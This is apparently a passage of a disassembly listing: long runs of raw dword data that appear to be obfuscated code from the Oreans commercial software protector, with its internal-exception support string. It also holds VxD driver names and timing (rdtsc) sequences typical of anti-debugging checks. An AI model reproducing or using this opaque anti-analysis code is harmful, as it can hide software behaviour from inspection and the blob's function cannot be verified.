		dd 6A03AE13h, 0A5DD4465h, 50546h, 8DADF400h, 27B18B3Ch
		dd 0C24A25D6h, 5BE7C071h, 0F77D590Ah, 628718A6h, 0FEAF0086h
		dd 9C4D9E20h, 39EA3BBFh, 0D582D3F1h, 0CBB20847h, 0FED437EDh
		dd 88909200h, 0F5775588h, 0E678BAB7h, 96C50D8Eh, 9B8B33BBh
		dd 4A92933Bh, 0FA329A4Eh, 0D6142CE6h, 12B64CA6h, 32B0105Fh
		dd 0D15DB1F0h, 0D7D31C2h, 0C50EFDB5h, 0A7C50DC2h, 3F5DA556h
		dd 0D1338C97h, 0E88131C2h, 0ACE83021h, 0C2D1196Dh, 8BC93931h
		dd 0A953D3C5h, 1C6DCD14h, 5D05236Bh, 0A5F6145Ch, 51D5B2E7h
		dd 3261B9A9h, 96D5539Dh, 37EE0281h, 0DEE99101h,	37EE486Ch
		dd 0B8AF6A83h, 58295BD2h, 0B4C22325h, 41F8B5E8h, 25BFE9h
		dd 0F1810000h, 5594125Ch, 37EEDECCh, 2934DC4Ch,	37EE9ED1h
		dd 3D2B5CEh, 582A2E1Dh,	0D95F3B70h, 0DE5781h, 92190000h
		dd 0BABD1150h, 6DDD31C2h, 2E4C9415h, 23A98586h,	14327A7Bh
		dd 5236B6Ch, 0BE46F9B4h, 297131C2h, 0C4B8D0Bh, 31C2BFB6h
		dd 25EEAC3h, 28D93A92h,	6B1AC2E0h, 0CF0E8CD6h, 37EEEBB2h
		dd 0E3A1F262h, 0F50557E1h, 69C18559h, 0DD5BA53Ah, 0F7E65C9Bh
		dd 0B82837EEh, 0F787FB3Ah, 57C737EEh, 2D2F71FFh, 0AAB65B98h
		dd 0F580D8D3h, 31DD70D2h, 0C20482F2h, 74CD4180h, 9D0D3D98h
		dd 62E8C445h, 0FE846011h, 90E25299h, 2786BE4Ah,	396h, 0CD1E3E85h
		dd 67B8421Ch, 253DBB6h,	9BEC7851h, 37880EEAh, 19F510A9h
		dd 0B3914293h, 522FE031h, 84CC7DCEh, 0DA681566h, 0EDC9279Bh
		dd 93916737h, 0EC3DC39Fh, 57D5F33Bh, 64A34522h,	31C2BAEEh
		dd 860C030h, 68A7E9A7h,	31C2BA12h, 0B26CC434h, 94125CF1h
		dd 0DF3F1D52h, 0D8CC1AAEh, 16BE1EC3h, 0E243CE26h, 3A37EE52h
		dd 3C174CCAh, 0C41C0CB4h, 0A89010Ch, 8DA637EEh,	0A1F5DB8Ah
		dd 9DAC5829h, 9A000000h, 0A8008C65h, 39579FEEh,	2EB49091h
		dd 0BEC47B86h, 0ABF331C2h, 438B3C8Dh, 39CE7D25h, 153271EFh
		dd 0C537EEEAh, 10A50455h, 351348C6h, 8ECD5BB3h,	31DD5088h
		dd 2D4B93C8h, 7BF969D5h, 0A2280439h, 0BB990AFAh, 8460E139h
		dd 0ADEFADFEh, 985C186Eh, 72CA3A3Dh, 2A8F15F1h,	4A90FABBh
		dd 0AFAE0D45h, 9E000002h, 35E63757h, 0CF80D15Bh, 6A1B6CF4h
		dd 3B40591h, 0C250A127h, 0AA300C29h, 48CAA859h,	0E56946F7h
		dd 7D9BE394h, 0B2F17F2Ch, 37EDCE5Ch, 9FAAA87Eh,	3BEC3DC3h
		dd 9A84D5F3h, 9139579Fh, 0D1194890h, 440253B3h,	82DF1A42h
		dd 2A821188h, 320B66FBh, 0AE0EFEA6h, 4CA4F130h,	46D437EEh
		dd 0EE42B307h, 363D337h, 42FE505Bh, 0DCF537EEh,	7E2173Dh
		dd 8FE7D77Fh, 29562E14h, 4DE558h, 92A70000h, 52FA825Dh
		dd 46DB0A62h, 0F23F7EFCh, 2237EEEBh, 8FFF0AB2h,	0BA37EE8Bh
		dd 0AFB058DEh, 60A54DD3h, 9D16FC9Bh, 3C42A721h,	557DE3Eh
		dd 0F7C2903h, 4EA62B4Ah, 61471EF9h, 185829BDh, 24h, 3185C406h
		dd 5137EE1Ah, 95CF89E1h, 31C2BA24h, 44C20CA1h, 2AA360Fh
		dd 0ED2CBA12h, 37EEDD50h, 0D5BF1080h, 94125CF1h, 0EEC48455h
		dd 0BB038437h, 0C727B38Ch, 0DBB4E967h, 79B7A74Fh, 0E4751EA7h
		dd 10C820C2h, 0EE37B505h, 2358AA37h, 2B1BC345h,	0CC9B7ED3h
		dd 5829C0E6h, 139Dh, 25955F00h,	0A231C2BAh, 645C30Dh, 37EEDD79h
		dd 0EED82999h, 0B9015CF1h, 0C4E22A9Bh
		dd 4ECC2C1Ch, 0D7C60A0Ch, 18C04823h, 1043EA28h,	42E45A99h
		dd 0B62631C2h, 0C073FE56h, 0FC37F2E8h, 97CC0E8Ch, 59DA32BEh
		dd 0E4A2F311h, 0A44CD4AFh, 93DB5CB4h, 8ABFCD75h, 0B73B18ADh
		dd 17BF1F0Fh, 0BA0CF27h, 0CC0143C1h, 88136BEFh,	31C25E72h
		dd 64A62494h, 9D1ED125h, 2981F13Dh, 1E669Bh, 98B6FEAFh
		dd 3BD6D81Ah, 0F83F49B3h, 4B4AC03Bh, 1C8C3D9Dh,	0C85D0CC4h
		dd 16FE007Eh, 0FA86F61Dh, 4F8E1C74h, 3BB1182Ah,	0FC2B73A8h
		dd 8E3696B4h, 0C7E52D9Eh, 2E93036Fh, 50C200B1h,	0D3A8073Fh
		dd 0C2000000h, 590A5B7Bh, 0F3A4F57Fh, 8E3F9018h, 27D829B5h
		dd 0E674C54Bh, 0CE5430D5h, 6CEECC7Dh, 98D6A1Bh,	0A1BF07B8h
		dd 0D615A350h, 37EDCF60h, 92CECCA2h, 4F56D190h,	8FE7608Bh
		dd 381CB60h, 0F2B90AC4h, 0BC64D437h, 0D92D6CAEh, 0F937ED44h
		dd 68B03189h, 63BF94Ah,	0CD4EA628h, 0B4BF6785h,	69337D81h
		dd 0D9B44D28h, 59B9A951h, 4FD3B0B1h, 4443DCA7h,	0B9BB3D9Ch
		dd 0EF9EB680h, 957A0D78h, 49A83472h, 662176CEh,	85032169h
		dd 88E0443h, 60D0724Bh,	0A3E68922h, 6BC303C7h, 0E211590Ah
		dd 0A11F7F07h, 5F07936Ch, 5E5F176Fh, 467BF985h,	4C3CE46Ah
		dd 6E3B8FCEh, 0EB5B724Bh, 0B8D1DB93h, 9AB800D1h, 32509849h
		dd 82B8Ah, 923D0000h, 0A2FA825Dh, 589F3F79h, 478F9038h
		dd 0A3808129h, 9876771Fh, 916D6E16h, 8662630Bh,	7E575800h
		dd 6E494AF2h, 633D3EE6h, 681531D9h, 6CBCh, 68243C89h, 7A3Fh
		dd 68243C89h, 5219h, 83241C89h,	348904ECh, 65DD6824h, 815E0486h
		dd 0B95E3CC6h, 0C7C6812Ah, 89D6EF93h, 8B545EF7h, 0C481241Ch
		dd 4, 895A5752h, 8B5A0853h, 8953241Ch, 4C381E3h, 81000000h
		dd 4C3h, 241C8700h, 243C8B5Ch, 5E08950h, 4, 8704C083h
		dd 0E95C2404h, 0FFFD0566h, 3BE6CABAh, 0EC88467Bh, 0D57B4077h
		dd 76D5B8FDh, 0C503062Fh, 9E3DE0FFh, 0F7276FCDh, 0A6E842E8h
		dd 6B9A6A8Fh, 0B87F79D8h, 3B6D6296h, 61017DBAh,	19D006Eh
		dd 0A5551404h, 61E1278h, 0B1625BC6h, 0A5BA2CA5h, 0F3D453EBh
		dd 1326287Bh, 2BC05632h, 9BE20C97h, 54CB044Ah, 0D46E5725h
		dd 0DA193347h, 25C17294h, 974B325Ah, 83E924A3h,	53000000h
		dd 57565251h, 1C245C8Bh, 4D3B8166h, 68850F5Ah, 0F000000h
		dd 33C43B7h, 3B8166D8h,	850F4550h, 57h,	3785B8Bh, 8B1C245Ch
		dd 74032473h, 8B561C24h, 738B207Bh, 247C031Ch, 24740320h
		dd 0C983FC20h, 5C8B41FFh, 178B1C24h, 20245403h,	8A04C783h
		dd 74C08402h, 75033A08h, 0EB4243E8h, 75033AF2h,	0E1D15FE0h
		dd 0F04B70Fh, 386048Bh,	5F1C2444h, 5B595A5Eh, 330008C2h
		dd 0FFF1E9C0h, 0CA8BFFFFh, 0CE8h, 0D5E00300h, 61D75094h
		dd 7F2DB4FCh, 1D33BA06h, 535806DDh, 5A59CF80h, 621FC081h
		dd 0CE80000h, 70000000h, 0B69EE33Ch, 0DC80B1E2h, 0E9248FD1h
		dd 12h,	937F6036h, 784DE870h, 0CFA2ADF7h, 5026E484h, 2B5AAA29h
		dd 12E9C9h, 0CE7A0000h,	66D9007Dh, 1232F55Ah, 0F245A645h
		dd 0C3BF6198h, 81083C8Bh, 0F0FD3AEFh, 5810F47h,	66000000h
		dd 9297EE81h, 0C96EF781h, 80535435h, 815E0DE6h,	40995AF7h
		dd 0E51ABE2Dh, 3C8964EAh, 11DA8108h, 0E92804D0h, 6, 2AE897C0h
		dd 0E98176CAh, 3E6E6BB1h, 4F1BEE81h, 0C1817D44h, 3E6E6BADh
		dd 0AE95360h, 19000000h, 480A62CEh, 537775E8h, 66605E93h
		dd 0F28BD38Bh, 0F9816161h, 0FFFF9EB4h, 0FF8A850Fh, 5A57FFFFh
		dd 464934EBh, 52474D53h, 4B562020h, 20202044h, 4D562020h
		dd 2020204Dh, 57562020h, 32334E49h, 58562020h, 52444C44h
		dd 2020h, 2 dup(0)
		dd 0DCE90000h, 6A000007h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0C8D3C352h,	8060D0EAh
		dd 93BFAFCFh, 616506F9h, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 81280E65h, 0EFDCD65Ch
		dd 8F0F6060h, 0
		dd 61CABF0Fh, 6161F860h, 794085C7h, 62Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0E992D7C3h, 0Eh, 9DD7ECE8h, 1A49445Bh, 0F1BF5FF7h, 0C68B123Ch
		dd 88F0Fh, 8C0F0000h, 2, 0B70F6160h, 7820FD8h, 60000000h
		dd 4D96B1BEh, 0C1F8610Fh, 6A10E8h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 8AB78EC3h, 8E0F30DAh
		dd 0Ah,	5E9h, 9DB7C700h, 0C166507Bh, 89F908C8h,	2F794485h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0C1663436h, 6A08CBh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 16EEE0C3h
		dd 83F87570h, 850F40FBh, 69h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0B8C35545h,	18BD8D68h, 0F062F79h
		dd 786h, 0B70F6000h, 61F98BFBh,	1C4E9h,	0E810F00h, 60000000h
		dd 6E9h, 0A6E40400h, 0F500A606h, 8B666061h, 158F0FC6h
		dd 0E9000000h, 10h, 0AACED18Dh,	89E0E78Fh, 7A1F3427h, 0A8839088h
		dd 0DFB8361h, 2F850Fh, 11E90000h, 7D000000h, 505914E6h
		dd 929F8522h, 8289D57Fh, 59EBF81Fh, 7920BD8Dh, 0E9F9062Fh
		dd 165h, 0C3816660h, 0C0811334h, 6CEC40ACh, 1FB8361h, 60850Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0B7B077C3h, 722D798Ch, 0E9FC3401h, 0Ah, 2CB156B8h
		dd 25C0DF14h, 0BD8D6690h, 62F7928h, 0DE960h, 0BCF30000h
		dd 8AF10547h, 7F76BAF4h, 8105CF29h, 0E3BBD0DEh,	0F6E96177h
		dd 0F000000h, 185h, 0FB83F500h,	67850F2Ah, 0E9000000h
		dd 8, 8D1635E0h, 0B9FE83FEh, 7930BD8Dh,	0BF60062Fh, 604E411Bh
		dd 118D0Fh, 0CE90000h, 21000000h, 0B2A0C26Bh, 8173A1DDh
		dd 619CE675h, 0B0E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0CB06F576h, 4E6BCDA2h
		dd 8E96Dh, 87BB0000h, 48463BE3h, 0FB83D174h, 64850F27h
		dd 6A000003h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0AC93C350h, 0EE950E9h,	0B9000000h
		dd 0BB64E988h, 6687C846h, 1CA3A928h, 38BD8D10h,	60062F79h
		dd 12E9h, 2D747400h, 67D4613Fh,	4729E77Eh, 93AFC2A8h, 60A5F260h
		dd 8E8h, 0C9206100h, 0CC27915Fh, 58565FF0h, 0EE96161h
		dd 57000000h, 95BD5222h, 5701E726h, 95557A8Ah, 48BD898Eh
		dd 0F062F79h, 88Fh, 0B9FC6000h,	7D336350h, 8E96061h, 0EE000000h
		dd 7763D9E7h, 0FAE1C61h, 487h, 6B86600h, 8C66613Fh, 50006AC8h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0DBA0217Ah, 0F9C840AEh, 6A0324h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 88ED4DC3h
		dd 0E9E9CFDDh, 7, 0FC9B0645h, 6052C0B6h, 6E9h, 2C931B00h
		dd 61BDC99Eh, 850FC00Ah, 192h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 18C35343h, 2F9F3896h, 19B860D9h
		dd 66471D96h, 0C23CD281h, 19B58D61h, 0F9062F80h, 806F858Bh
		dd 6A062Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 52885CC3h, 6092F81Bh, 0CE9h, 0A0789000h
		dd 50153688h, 4C546EEh,	505250E8h, 5A310F59h, 60506158h
		dd 8C0F60h, 66000000h, 6196FCBBh, 28A0Fh, 61600000h, 800F9261h
		dd 0Eh,	2FD18160h, 8167A818h, 622A97E7h, 10F614Dh, 6AFE244Ch
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0FF84C352h, 65FD33E4h, 38E0F14h, 60000000h
		dd 6A5A61F8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 83EDC355h, 0E96024C2h,	8, 0D949A581h
		dd 0CF9004ADh, 0FC61CE8Bh, 0FC728966h, 0BF0FF860h, 0CEC161D8h
		dd 57006A10h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 12AD67D9h, 0B6A0A626h, 8890Fh, 820F0000h
		dd 2, 89666160h, 6A0272h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0D01F2AC3h, 78C0F7Bh
		dd 0F000000h, 18Ch, 4CDF500h, 7D6DBB60h, 60611C12h, 0B3D1B70Fh
		dd 86E96117h, 60000000h, 66CBBF0Fh, 0E80CCA81h,	858BF861h
		dd 62F806Fh, 9E960h, 0E0810000h, 24A622E3h, 81E92DE6h
		dd 2EB7A4DAh, 0B58D6134h, 62F8019h, 0C858DF5h, 6A062F4Eh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0AD3AC353h, 58F0Fh, 8B600000h, 0FC61F8F2h
		dd 1860Fh, 0FFF80000h, 1A890FD0h, 0F000000h, 148Ah, 0FE900h
		dd 75E70000h, 0D23E006Ch, 7A6978EFh, 0E2E81FB2h, 40858923h
		dd 6A062F79h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0B881C356h, 3EC07292h,	60388892h
		dd 6653FEB2h, 590411B9h, 11E961h, 5ED00000h, 842E24EEh
		dd 63C6E795h, 8B73C3FAh, 614FC930h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 2FC35747h, 40BC1E47h, 1830F56h
		dd 0FC000000h, 7940858Bh, 6A062Fh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 4C1943C3h, 6067DDF0h
		dd 595E5657h, 0B76061FCh, 0BDBE66F4h, 6AC3618Ch, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 5D52C353h, 0E9A7DDB0h, 9, 0D729D728h, 972A530h, 0C830FB7h
		dd 0F000000h, 681h, 800F00h, 60000000h,	6FBD83F8h, 62F80h
		dd 3F850Fh, 0BE90000h, 5F000000h, 0EA62EE74h, 0DA6C6722h
		dd 85C79282h, 62F806Fh,	1013Fh,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0D5C35343h,	810F0E8Eh, 1, 1E9F8h
		dd 0CDFC0000h, 20h, 74C00B00h, 0C708D37h, 7948BD8Bh, 8B9062Fh
		dd 0A6000000h, 75492275h, 30488BFAh, 79449D8Bh,	583B062Fh
		dd 8B157F34h, 4D26BD3h,	18BCA03h, 79408589h, 4EB062Fh
		dd 0C5EB008Bh, 40858B61h, 0CF062F79h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 64C35242h, 0BE2E7E7Ch, 0DCE1D5C7h
		dd 12E9h, 0FF84C800h, 65FD33E4h, 0DB0E1614h, 0A8203A4Ch
		dd 60B5FAA5h, 5E9h, 1D30FF00h, 8166ED7Dh, 6142D4E6h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 9EC35343h, 0F3BA8A6h
		dd 580h, 8AF96000h, 8BF861C7h, 0AE8C0h,	51DA0000h, 60A15833h
		dd 0D971B430h, 5BCF8B66h, 6F96E281h, 0C3815C41h, 5C05h
		dd 0DB681CB0h, 60000016h, 0F616060h, 8Ch, 0E9606100h, 10h
		dd 0D17C6D10h, 7DA828AFh, 0F3C1F14Ah, 44EEBEF7h, 61615953h
		dd 33FFF95Fh, 88BA665Eh, 0E1EE81D2h, 0F505CBE3h, 0DEE2EE81h
		dd 12E93E4Dh, 9C000000h, 6BC764F5h, 49701A38h, 416FC8BEh
		dd 0EBA011B0h
		dd 0A2EE81A1h, 0F16D23Dh, 3389D3BFh, 0EB83CE8Bh, 5830F03h
		dd 66000000h, 60B1DA81h, 1EF814Bh, 0F000000h, 0FFFFAD85h
		dd 0E93DB0FFh, 400h, 0
a3anInternalExc	db '3An internal exception occured (Address: 0x%x)',0Ah
		db 0Dh,'Please, contact support@oreans.com. Thank you!',0
		align 4
		dd 0E4h	dup(0)
		dd 56h,	45h, 0
		dd 11E4E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 20E9FD1h,	0E52673F0h, 81666070h
		dd 8B0498E8h, 2C1BD5BDh, 858B6106h, 62C0B41h, 0C890Fh
		dd 830F0000h, 6, 1A4D9D29h, 6E9062Ch, 51000000h, 810B1948h
		dd 244439DDh, 7C850F04h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 818AC355h
		dd 0A859F2Eh, 0EDBD83F1h, 62C00h, 4D840Fh, 85290000h, 62C0B29h
		dd 3A0C858Dh, 9501062Ch, 62C29EDh, 6AE0FFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 7ACBBEC3h
		dd 890FE6ACh, 8, 2860Fh, 61600000h, 6E9h, 53B26600h, 8B78DF7Ch
		dd 2C25C985h, 35B50106h, 0F062C1Ch, 68Eh, 3D958900h, 39062C2Dh
		dd 0F042444h, 4685h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0C8752B11h, 0D2A8B7ECh
		dd 5E9h, 0CD8F7000h, 85C7A876h,	62F85D2h, 1, 0AE9h, 52543800h
		dd 0B2F3864Fh, 609B2C3Eh, 14E9h, 862FA600h, 0BBD581D3h
		dd 751C3671h, 0F79AF013h, 70AD8DDFh, 1AE9E2h, 0BD090000h
		dd 62C3439h, 0BE9h, 2AA59800h, 23274E45h, 91B20CCCh, 0
		dd 1B8h, 52858700h, 0B062F87h, 0FFF675C0h, 2C21ADB5h, 0CA858F06h
		dd 6A062F85h, 0FFFF6A20h, 2C002995h, 59BD8306h,	62C0Dh
		dd 6A0874h, 26B195FFh, 0BD83062Ch, 62C0EC1h, 680D7401h
		dd 80h,	95FFFF6Ah, 62C0029h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 3BC35141h, 6DFECFBCh, 6840F4Ah
		dd 89000000h, 2C241985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0B501C65Bh, 62C1C15h
		dd 0AE9C02Bh, 20000000h, 0D120993Dh, 0B6C9390Bh, 24548BEBh
		dd 0F1BD3128h, 89062C0Dh, 2C09E185h, 68E0F06h, 29000000h
		dd 2C08D99Dh, 3CBE06h, 85890000h, 62C0DB5h, 24247403h
		dd 12E9h, 960D2900h, 79A334DBh,	799DBD0Ah, 0C5035A3Ch
		dd 66DCAE7Fh, 53006AADh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 1BD3808Eh, 9D01BE85h, 62C33ADh, 24244403h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 40C35343h
		dd 0B50924A2h, 62C1FD5h, 50525090h, 0F616052h, 860F31h
		dd 5A000000h, 60310F58h, 8C0Fh,	37BA0000h, 615C8E85h, 5050585Ah
		dd 2860F52h, 60000000h,	0E9310F61h, 0Bh, 0B779262Fh, 15E72A8Fh
		dd 5A4F0CD7h, 6A9058h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 54957BC3h, 810FBDB9h, 6,	18D1B589h
		dd 408B062Ch, 56006A78h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0DA876CA2h, 9D2C80Bh, 0B9BD89D7h
		dd 83062C04h, 2F85D2BDh, 850F0006h, 0A4h, 9DD9501h, 0E950062Ch
		dd 6, 6665D00h,	489B966h, 8D8B6024h, 62C1915h, 23958509h
		dd 8B61062Ch, 6A2C2444h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0E278C355h,	0B18D89D3h
		dd 50062C0Ch, 11E9h, 0FDFA900h,	0D2FA7095h, 5009B593h
		dd 6FA035F2h, 489C1E9h,	0DE924h, 0BB570000h, 6E3B0B0Bh
		dd 32219C49h, 8D5FB4A6h, 2F549185h, 14E906h, 0C0660000h
		dd 0A9359522h, 8F4D8916h, 7BDF75C0h, 0C428DB2Ah, 0D0FF1176h
		dd 52D9D31h, 9D29062Ch,	62C0005h, 28244403h, 8D896060h
		dd 62C206Dh, 0A8CB8161h, 613E0DF1h, 0F818408Bh,	57006A40h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0ECE253F8h, 49579691h, 11E9399Bh, 0EC000000h, 0F52700CBh
		dd 0FBEA757Dh, 71A5F925h, 0C5078B78h, 85CE8589h, 9D29062Fh
		dd 62C2A2Dh, 51006A58h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 0FF958C33h, 0FD90E28Fh, 11E5B529h
		dd 708B062Ch, 55006A78h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 3D147A63h, 5E9E5h, 4A290000h, 83506CE5h
		dd 12E91CC6h, 0C5000000h, 9C46C759h, 15D05994h,	0A90BE10Ah
		dd 0D7CD561Ch, 896096F4h, 2C1BB58Dh, 499D2906h,	61062C31h
		dd 24247C81h, 10000000h, 0C8870Fh, 50FC0000h, 870F5250h
		dd 6, 800Fh, 310F0000h,	12E9h, 0D22C4700h, 0E321CF85h
		dd 0DD1EF6ADh, 9D971BF5h, 5A0C2D9Bh, 24048958h,	1D959D29h
		dd 448B062Ch, 1602824h,	2C1A4D9Dh, 0D2B70F06h, 52505061h
		dd 14E9h, 65B21800h, 49155953h,	4D535969h, 0ED9637C1h
		dd 623DAB63h, 60310F17h, 0B0C78B66h, 585A61C5h,	0E9240489h
		dd 13h,	772C5AB7h, 0A6AD1300h, 3E9F81BDh, 0B85C23F7h, 8D4F2AA7h
		dd 2F549185h, 13800F06h, 0E9000000h, 0Eh, 0ABAA42D3h, 11B28C7Ah
		dd 645F3632h, 0D0FFB4A1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 55C35343h, 0A34FB501h, 1962A6Ah, 2C2B21B5h
		dd 24740306h, 0BD8DF824h, 62C1AD1h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0CCC35747h,	0F0E3F14h, 1082h
		dd 0BE900h, 3D4B0000h, 0B39A6442h, 0F7A934A9h, 89ADF8A4h
		dd 2C2A6DB5h, 247C8106h, 24h, 66870F10h, 6A000001h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0F9F6C352h, 0C848EA90h, 600E37C9h, 2985BD8Bh, 8589062Ch
		dd 62C19DDh, 398D8961h,	90062C34h, 800F5250h, 6, 830Fh
		dd 310F0000h, 28E0Fh, 61600000h, 6050585Ah, 8E9DE8Ah, 7A000000h
		dd 0C6F00F94h, 615DD816h, 448BF590h, 6A2824h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 905326C3h
		dd 0D3738BA4h, 90DF939Ch, 0D88B6660h, 5ECA8B50h, 52505061h
		dd 0EE95250h, 0D9000000h, 9D659CEDh, 77ACC51h, 0AA0AF49Ah
		dd 0E9310FA3h, 11h, 0C71121EDh,	0E7DF514Eh, 9EE33C70h
		dd 80B1E2B6h, 0F585ADCh, 0CE96031h, 55000000h, 1B3A2940h
		dd 0B4270982h, 5138542Eh, 585A615Bh, 55006A90h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 26C26950h
		dd 1324E96h, 2C2C8585h,	0AE906h, 9F830000h, 8B42FA80h
		dd 348B0721h, 256D8529h, 858D062Ch, 62F5491h, 9860Fh, 0B600000h
		dd 2C1E618Dh, 0FF61F506h, 50006AD0h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 8B9B9378h
		dd 9B3FC7F8h, 0EA8160F5h, 6C2D6BCBh, 24440361h,	57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 3126971Eh, 2C0805BDh, 0A1858906h, 0AB062C06h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0D6C35646h, 0D529E5C9h
		dd 0C8A0F93h, 0F000000h, 682h, 8A0F00h,	81000000h, 10000FAh
		dd 0D8820F00h, 6A000007h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0FB3BC351h,	51BD8D74h
		dd 60062C0Dh, 807EE480h, 0AD61FFD9h, 0F91BD89h,	7C81062Ch
		dd 2424h, 870F1000h, 133h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 86C35343h, 870F983Eh,	17h, 0AE960h, 94B40000h
		dd 7EC397D1h, 175A382Bh, 1DBD9D89h, 8961062Ch, 2C2DA595h
		dd 52509006h, 7E9h, 89E19800h, 0B471A916h, 5250310Fh, 310F6160h
		dd 14E9h, 87BCB300h, 88555EAh, 614849D2h, 26A7348Fh, 55DBFD61h
		dd 5A585A0Ch, 52505058h, 10E9h,	1414D300h, 5D23C6A7h, 15614E17h
		dd 76EDBBA1h, 60310F88h, 5A616160h, 0BD099058h,	62C151Dh
		dd 2824448Bh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 18h,	0ADC35242h, 841C17ABh, 129D9589h, 5090062Ch, 9E952h
		dd 6A340000h, 70B58835h, 0F058EDAh, 0D810F31h, 0E9000000h
		dd 8, 5E73A8AEh, 9BCF1FAFh, 0E950585Ah,	8, 775C70C7h, 798CB7B0h
		dd 7D9D8990h, 8D062C2Bh, 2F549185h, 6BB16006h, 5449BE66h
		dd 6AD0FF61h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 3118C353h, 3D6D36Dh, 6A242444h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 3F81C351h, 327D2095h, 21CDB529h, 9589062Ch
		dd 62C2DD1h, 60525090h,	4A68BF66h, 0B10FBB66h, 50310F61h
		dd 0F616052h, 0F525031h, 5A585A31h, 50585A58h, 138F0Fh
		dd 0EE90000h, 0F1000000h, 0F70BF796h, 3A598EE6h, 0B4026AABh
		dd 6A909Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 0B4E1BDC3h, 115BB830h, 57006AABh,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 953179C6h
		dd 62C023Dh, 119DBD8Dh,	3360062Ch, 2C33A98Dh, 61606006h
		dd 0AED896BBh, 0AD61611Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 0DEC35343h, 0F5AE907Dh, 831BD89h, 7C81062Ch
		dd 2824h, 870F1000h, 0B4h, 0B26050FCh, 61606013h, 310F5250h
		dd 6161585Ah, 31240489h, 2C1249BDh, 24448B06h, 0BE92Ch
		dd 50E50000h, 8B766E5Eh, 6F28FC55h, 14E95021h, 0C2000000h
		dd 4916695Ch, 2E90FD54h, 0C1FFC738h, 0BBFC0EF1h, 89F9D37Eh
		dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
